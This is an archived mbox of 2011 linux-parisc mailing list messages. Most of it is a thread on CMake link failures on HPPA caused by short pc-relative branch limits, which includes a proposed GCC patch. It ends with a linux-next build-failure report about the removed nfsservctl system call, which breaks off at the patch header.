+			 If the insn used a non-shadow register, then the tlb
 			 handlers could not have their side-effect (e.g. probe
 			 writing to a target register) emulated since rfir would
 			 erase the changes to said register. Instead we have to
 			 setup everything, call this function we are in, and emulate
 			 by hand. Technically we need to emulate:
 			 fdc,fdce,pdc,"fic,4f",prober,probeir,probew, probeiw
-		*/			  
+		*/
 		fault_address = regs->ior;
 		fault_space = regs->isr;
 		break;
-- 
1.7.6

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Thu, 25 Aug 2011 12:37:31 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314268658 16235 80.91.229.12 (25 Aug 2011 10:37:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 25 Aug 2011 10:37:38 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 25 12:37:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QwXJW-0005R6-6F
	for glpp-linux-parisc@lo.gmane.org; Thu, 25 Aug 2011 12:37:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752671Ab1HYKhd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Aug 2011 06:37:33 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45468 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752365Ab1HYKhd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Aug 2011 06:37:33 -0400
Original-Received: (qmail 17199 invoked by uid 81); 25 Aug 2011 10:37:31 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Thu, 25 Aug 2011 12:37:31 +0200
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3907>

First something to the machine: C3600 running Gentoo.

Kernel: 2.6.38.4
Glibc: 2.12.2
Binutils: 2.21.1
Gcc: 4.5.3

I tried to compile CMake, branch next, revision
60b6b190cb569a18b6cf415d85ff59fa120a1035. The exact version isn't really
important as I remember that problem for quite a while, it's just for
reference.

I have a working version of CMake 2.8.4 installed, no idea with which
compiler that was built (I updated gcc every now and then as they became
stable on Gentoo). Binutils used to build that CMake was very likely
2.20.1.

If I just use "cmake /path/to/cmake/source/ && make" I get this result:

Linking CXX executable ../bin/ccmake
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.3/../../../../hppa2.0-unknown-linux-gnu/bin/ld:
libCMakeLib.a(cmGlobalGenerator.cxx.o)(.text._ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE16_M_insert_uniqueERKS4_[std::_Rb_tree<cmsys::String,
std::pair<cmsys::String const, int>,
std::_Select1st<std::pair<cmsys::String const, int> >,
std::less<cmsys::String>, std::allocator<std::pair<cmsys::String const,
int> > >::_M_insert_unique(std::pair<cmsys::String const, int>
const&)]+0xbc): cannot reach
00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
recompile with -ffunction-sections
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.3/../../../../hppa2.0-unknown-linux-gnu/bin/ld:
libCMakeLib.a(cmGlobalGenerator.cxx.o)(.text._ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE16_M_insert_uniqueERKS4_[std::_Rb_tree<cmsys::String,
std::pair<cmsys::String const, int>,
std::_Select1st<std::pair<cmsys::String const, int> >,
std::less<cmsys::String>, std::allocator<std::pair<cmsys::String const,
int> > >::_M_insert_unique(std::pair<cmsys::String const, int>
const&)]+0xbc): cannot handle R_PARISC_PCREL17F for
std::_Rb_tree<cmsys::String, std::pair<cmsys::String const, int>,
std::_Select1st<std::pair<cmsys::String const, int> >,
std::less<cmsys::String>, std::allocator<std::pair<cmsys::String const,
int> > >::_S_right(std::_Rb_tree_node_base*)
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.3/../../../../hppa2.0-unknown-linux-gnu/bin/ld:
final link failed: Bad value
collect2: ld returned 1 exit status

If I hack the master CMakeLists.txt to contain
"ADD_DEFINITIONS(-march=2.0)" at the very beginning everything compiles
fine. But if I run the compiled cmake it will hang in an endless loop
somewhere. It does not do any system calls then, but it eats up 100% CPU.

I very much doubt that this is a CMake breakage as CMake has many nightly
builds and tests on different platforms that work and I see this bug since
a while (likely months).

Can someone have a look or give some hints?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Thu, 25 Aug 2011 10:06:28 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <4E5656E4.8000102@systemhalted.org>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1314281198 4135 80.91.229.12 (25 Aug 2011 14:06:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 25 Aug 2011 14:06:38 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike@sf-mail.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 25 16:06:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QwaZl-0002Py-1R
	for glpp-linux-parisc@lo.gmane.org; Thu, 25 Aug 2011 16:06:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750725Ab1HYOGc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Aug 2011 10:06:32 -0400
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:46971 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750917Ab1HYOGb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Aug 2011 10:06:31 -0400
Original-Received: by gxk21 with SMTP id 21so1777673gxk.19
        for <linux-parisc@vger.kernel.org>; Thu, 25 Aug 2011 07:06:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=kPMOQZlvarkby7kbqBDNXxbBDMyI0lfmB06d01Pt4Uw=;
        b=meWPFbUiliyxbIGKEA6YR2TutOnt1FXJhY5tAw8WtAnlLuoZzetcWsckhwGL4OOISR
         Tkf6xjzRWchjjaDUQWBnH0tNwtfyZwzf/Be2C8WgV2OK/oTN5qRSSbPcGmjclWGLJoo8
         eXn2rRq9vlMA6t2PvwXGaGpOmTLZiRVHMgoME=
Original-Received: by 10.231.83.140 with SMTP id f12mr1771643ibl.64.1314281191103;
        Thu, 25 Aug 2011 07:06:31 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1128747876.dsl.bell.ca [67.71.83.100])
        by mx.google.com with ESMTPS id v16sm319742ibe.17.2011.08.25.07.06.29
        (version=SSLv3 cipher=OTHER);
        Thu, 25 Aug 2011 07:06:29 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20110812 Thunderbird/6.0
In-Reply-To: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
X-Enigmail-Version: 1.3.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3908>

On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
> const&)]+0xbc): cannot reach
> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
> recompile with -ffunction-sections

So did you recompile with -ffunction-sections?

The basic problem is that the linker was unable to insert a jump
to the requested function because it was too far away. Some targets
like hppa have short branch distances and we use intermediate stub
tables to get around that. However, we can't insert stub tables just
anywhere, they need to go between sections. Therefore you need to
break up this object file.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Thu, 25 Aug 2011 17:21:39 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <253e59ae77bc82674b893c4d584c63e5.squirrel@webmail.sf-mail.de>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
    <4E5656E4.8000102@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314285725 4519 80.91.229.12 (25 Aug 2011 15:22:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 25 Aug 2011 15:22:05 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 25 17:21:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qwbkh-0004AR-OH
	for glpp-linux-parisc@lo.gmane.org; Thu, 25 Aug 2011 17:21:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753883Ab1HYPVo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Aug 2011 11:21:44 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41059 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753631Ab1HYPVn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Aug 2011 11:21:43 -0400
Original-Received: (qmail 25144 invoked by uid 81); 25 Aug 2011 15:21:39 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Thu, 25 Aug 2011 17:21:39 +0200
In-Reply-To: <4E5656E4.8000102@systemhalted.org>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3909>

> On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
>> const&)]+0xbc): cannot reach
>> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
>> recompile with -ffunction-sections
>
> So did you recompile with -ffunction-sections?
>
> The basic problem is that the linker was unable to insert a jump
> to the requested function because it was too far away. Some targets
> like hppa have short branch distances and we use intermediate stub
> tables to get around that. However, we can't insert stub tables just
> anywhere, they need to go between sections. Therefore you need to
> break up this object file.

So this is just that the object file sometime grew too big to fit into the
small jump stuff?

I'll try tomorrow and see if it works.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Thu, 25 Aug 2011 11:46:53 -0400
Lines: 100
Approved: news@gmane.org
Message-ID: <4E566E6D.8060100@bell.net>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de> <4E5656E4.8000102@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------050306030302020505060503"
X-Trace: dough.gmane.org 1314289109 28463 80.91.229.12 (25 Aug 2011 16:18:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 25 Aug 2011 16:18:29 +0000 (UTC)
Cc: Rolf Eike Beer <eike@sf-mail.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 25 18:18:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QwcdL-0001d5-Ef
	for glpp-linux-parisc@lo.gmane.org; Thu, 25 Aug 2011 18:18:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753292Ab1HYQSX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Aug 2011 12:18:23 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:43314 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752579Ab1HYQSW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Aug 2011 12:18:22 -0400
X-Greylist: delayed 1917 seconds by postgrey-1.27 at vger.kernel.org; Thu, 25 Aug 2011 12:18:22 EDT
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Qwc8N-00085v-13; Thu, 25 Aug 2011 11:46:23 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20110812 Thunderbird/6.0
In-Reply-To: <4E5656E4.8000102@systemhalted.org>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3910>

This is a multi-part message in MIME format.
--------------050306030302020505060503
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 8/25/2011 10:06 AM, Carlos O'Donell wrote:
> On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
>> const&)]+0xbc): cannot reach
>> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
>> recompile with -ffunction-sections
> So did you recompile with -ffunction-sections?
>
> The basic problem is that the linker was unable to insert a jump
> to the requested function because it was too far away. Some targets
> like hppa have short branch distances and we use intermediate stub
> tables to get around that. However, we can't insert stub tables just
> anywhere, they need to go between sections. Therefore you need to
> break up this object file.
I think there is a real bug here but nobody has provided a test case.  
-ffunction-sections
probably won't help.

Stub sizes vary depending on whether PIC code or non PIC code is being 
generated.
We need a bigger stub table for PIC C++ code as C++ tends to generate a 
lot of small
routines.

I've attached the GCC part of the change.  There's also a binutils patch 
which I can't
access at the moment.

Dave

-- 
John David Anglin    dave.anglin@bell.net


--------------050306030302020505060503
Content-Type: text/plain;
 name="pcrel.d"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="pcrel.d"

Index: config/pa/pa.c
===================================================================
--- config/pa/pa.c	(revision 178012)
+++ config/pa/pa.c	(working copy)
@@ -7385,7 +7385,7 @@
     return 24;
   else
     {
-      if (!TARGET_LONG_CALLS && distance < 240000)
+      if (!TARGET_LONG_CALLS && distance < MAX_PCREL17F_OFFSET)
 	return 8;
 
       if (TARGET_LONG_ABS_CALL && !flag_pic)
@@ -7598,7 +7598,7 @@
   /* pc-relative branch.  */
   if (!TARGET_LONG_CALLS
       && ((TARGET_PA_20 && !sibcall && distance < 7600000)
-	  || distance < 240000))
+	  || distance < MAX_PCREL17F_OFFSET))
     length += 8;
 
   /* 64-bit plabel sequence.  */
@@ -7957,7 +7957,7 @@
   if (TARGET_FAST_INDIRECT_CALLS
       || (!TARGET_PORTABLE_RUNTIME
 	  && ((TARGET_PA_20 && !TARGET_SOM && distance < 7600000)
-	      || distance < 240000)))
+	      || distance < MAX_PCREL17F_OFFSET)))
     return 8;
 
   if (flag_pic)
Index: config/pa/pa.h
===================================================================
--- config/pa/pa.h	(revision 178012)
+++ config/pa/pa.h	(working copy)
@@ -1512,3 +1512,12 @@
 #undef TARGET_HAVE_TLS
 #define TARGET_HAVE_TLS true
 #endif
+
+/* The maximum offset in bytes for a PA 1.X pc-relative call to the
+   tail of the preceding stub table.  The selected offsets have been
+   chosen to allow approximately one call stub for every 86 instructions.
+   A long branch stub is two instructions when not generating PIC code.
+   More space is allowed for stubs when generating PIC code since HP-UX
+   and Linux import stubs are seven and four instructions, respectively.  */  
+#define MAX_PCREL17F_OFFSET \
+  (flag_pic ? (TARGET_HPUX ? 198164 : 221312) : 240000)

--------------050306030302020505060503--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Fri, 26 Aug 2011 10:00:46 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <b9feb64c39e0d12d4b6740ea0507f58a.squirrel@webmail.sf-mail.de>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de>
    <4E5656E4.8000102@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1314345656 23719 80.91.229.12 (26 Aug 2011 08:00:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 26 Aug 2011 08:00:56 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 26 10:00:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QwrLO-0003Q8-Is
	for glpp-linux-parisc@lo.gmane.org; Fri, 26 Aug 2011 10:00:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750941Ab1HZIAu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Aug 2011 04:00:50 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45732 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750704Ab1HZIAt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Aug 2011 04:00:49 -0400
Original-Received: (qmail 14622 invoked by uid 81); 26 Aug 2011 08:00:46 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Fri, 26 Aug 2011 10:00:46 +0200
In-Reply-To: <4E5656E4.8000102@systemhalted.org>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3911>

> On 8/25/2011 6:37 AM, Rolf Eike Beer wrote:
>> const&)]+0xbc): cannot reach
>> 00004abb__ZNSt8_Rb_treeIN5cmsys6StringESt4pairIKS1_iESt10_Select1stIS4_ESt4lessIS1_ESaIS4_EE8_S_rightEPSt18_Rb_tree_node_base+0,
>> recompile with -ffunction-sections
>
> So did you recompile with -ffunction-sections?
>
> The basic problem is that the linker was unable to insert a jump
> to the requested function because it was too far away. Some targets
> like hppa have short branch distances and we use intermediate stub
> tables to get around that. However, we can't insert stub tables just
> anywhere, they need to go between sections. Therefore you need to
> break up this object file.

If I add -ffunction-section then ccmake (and cmake and cpack) build fine,
but ctest fails:

Linking CXX executable ../bin/ctest
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.3/../../../../hppa2.0-unknown-linux-gnu/bin/ld:
libCMakeLib.a(cmMakefile.cxx.o)(.text._ZN10cmMakefile14AddSourceGroupEPKcS1_+0x40):
cannot reach 00008647__ZNSaIcEC1Ev@@GLIBCXX_3.4+0, recompile with
-ffunction-sections
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.3/../../../../hppa2.0-unknown-linux-gnu/bin/ld:
libCMakeLib.a(cmMakefile.cxx.o)(.text._ZN10cmMakefile14AddSourceGroupEPKcS1_+0x40):
cannot handle R_PARISC_PCREL17F for
std::allocator<char>::allocator()@@GLIBCXX_3.4
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.3/../../../../hppa2.0-unknown-linux-gnu/bin/ld:
final link failed: Bad value
collect2: ld returned 1 exit status

This is the same static library that causes problems, but this time on a
different executable. So I think John is right and there is really a bug
somewhere.

Just for reference, this are the sizes of the binaries that I currently
have on my system:

-rwxr-xr-x 1 root root 3080228 Apr 26 12:51 /usr/bin/ccmake
-rwxr-xr-x 1 root root 3050408 Apr 26 12:51 /usr/bin/cmake
-rwxr-xr-x 1 root root 4092940 Apr 26 12:51 /usr/bin/ctest

And this is what happens with -ffunction-sections for those that compile:

-rwxr-xr-x 1 buildbot buildbot  9738726 Aug 26 09:15 ccmake
-rwxr-xr-x 1 buildbot buildbot  9608066 Aug 26 09:16 cmake
-rwxr-xr-x 1 buildbot buildbot 10302152 Aug 26 09:16 cpack

I have no idea how big the current results would get as every of the 4
possible candidates fails to link. libCMakeLib.a is 21149998 bytes.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.next,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: linux-next: build failure in Linus' tree
Date: Mon, 29 Aug 2011 10:44:51 +1000
Lines: 65
Approved: news@gmane.org
Message-ID: <20110829104451.1c777e24ff72823d1e399f12@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1314578726 1599 80.91.229.12 (29 Aug 2011 00:45:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Aug 2011 00:45:26 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	NeilBrown <neilb@suse.de>, linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	"J. Bruce Fields" <bfields@redhat.com>
To: Linus <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 29 02:45:21 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Qxpya-0006ue-N7
	for glk-linux-kernel-3@lo.gmane.org; Mon, 29 Aug 2011 02:45:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752570Ab1H2ApA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 28 Aug 2011 20:45:00 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:36496 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752526Ab1H2Ao4 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 28 Aug 2011 20:44:56 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 97D0A144C1F;
	Mon, 29 Aug 2011 10:44:51 +1000 (EST)
X-Mailer: Sylpheed 3.2.0beta2 (GTK+ 2.24.5; i486-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1185214 gmane.linux.kernel.next:18400 gmane.linux.ports.ppc64.devel:76815 gmane.linux.ports.parisc:3913
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1185214>

Hi Linus,

After merging the fixes tree, today's linux-next build (powerpc
ppc64_defconfig) failed like this:

arch/powerpc/kernel/built-in.o: In function `.sys_call_table':
(.text+0xbd00): undefined reference to `.sys_nfsservctl'
arch/powerpc/kernel/built-in.o: In function `.sys_call_table':
(.text+0xbd08): undefined reference to `.compat_sys_nfsservctl'

Caused by commit f5b940997397 ("All Arch: remove linkage for
sys_nfsservctl system call") which also missed parisc.

I will apply this patch for today:

From: Stephen Rothwell <sfr@canb.auug.org.au>
Date: Mon, 29 Aug 2011 10:38:57 +1000
Subject: [PATCH] remove remaining references to nfsservctl

These were missed in commit f5b940997397 "All Arch: remove linkage
for sys_nfsservctl system call" due to them having no sys_ prefix
(presumably).

Cc: NeilBrown <neilb@suse.de>
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-parisc@vger.kernel.org
